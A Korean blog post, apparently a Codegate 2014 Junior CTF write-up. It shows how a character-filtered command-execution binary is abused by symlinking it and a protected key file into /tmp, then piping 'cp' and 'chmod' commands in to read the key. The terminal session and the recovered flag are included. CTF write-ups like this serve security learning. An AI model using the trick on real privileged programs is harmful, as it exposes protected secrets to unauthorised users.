본문
입력받은 문자열이 [a-z][A-Z][0-9][ ] 의 범위내에 있을 때, 해당 명령어를 실행시켜주는 문제이다.
리버싱은 간단했는데, PATH를 조절할 수 있는 꼼수를 몰라 좀 헤맸던 것 같다.
일단 패스를 조절할 수 없기 때문에 기본 명령어들을 사용해서 원하는 동작을 해야하는데,
이 또한 쓰기 권한이 없기 때문에 사용할 수 없었다.
물론, / 가 들어가면 cp key /tmp/이런식으로 하면 되겟지만, /가 막혀있기 때문에 이를 우회할 수 있는 방법은 없었다.
그러던 중, link를 사용하여 writeable한 부분에 바이너리와 key의 link를 생성하고, 이를 이용하는 방법을 생각해보았다.
해서 성공-.
guest@codegate:/tmp/tt$ ll
total 16
drwxrwxr-x 2 guest guest 4096 Feb 10 09:30 ./
drwxrwx-wt 36 root root 4096 Feb 10 09:29 ../
-r-------- 1 closure guest 20 Feb 10 09:30 aaa
lrwxrwxrwx 1 guest guest 21 Feb 10 09:21 closure -> /home/closure/closure*
lrwxrwxrwx 1 guest guest 17 Feb 10 09:29 key -> /home/closure/key
-rwxrwxr-x 1 guest guest 111 Feb 10 09:30 pwnblitz*
guest@codegate:/tmp/tt$ perl -e '{print "cp key aaa","\x00"}' | ./closure
guest@codegate:/tmp/tt$ perl -e '{print "chmod 777 aaa","\x00"}' | ./closure
guest@codegate:/tmp/tt$ ll
total 16
drwxrwxr-x 2 guest guest 4096 Feb 10 09:32 ./
drwxrwx-wt 36 root root 4096 Feb 10 09:29 ../
-rwxrwxrwx 1 closure guest 20 Feb 10 09:32 aaa*
lrwxrwxrwx 1 guest guest 21 Feb 10 09:21 closure -> /home/closure/closure*
lrwxrwxrwx 1 guest guest 17 Feb 10 09:29 key -> /home/closure/key
-rwxrwxr-x 1 guest guest 111 Feb 10 09:30 pwnblitz*
guest@codegate:/tmp/tt$ cat aaa
HIGH5_TO_BUGHunT3RS
이런 기본적인 트릭들을 잘 몰라 고생하는게 참. 슬프다.ㅋㅋㅋ
'WarGame' 카테고리의 다른 글
[Codegate 2014 Junior CTF] ioccc Reverse + Pwnable. 300Point. (0) | 2014.02.14 |
---|---|
[Codegate 2014 Junior CTF] RunCommand (0) | 2014.02.14 |
[suninatas] Cipher III : Frequency analysis (0) | 2014.02.13 |
[Codegate 2014 Junior CTF] review.. (0) | 2014.02.12 |
[Codegate 2014 Junior CTF] Injection 1 . 300 Point. WEB (0) | 2014.02.12 |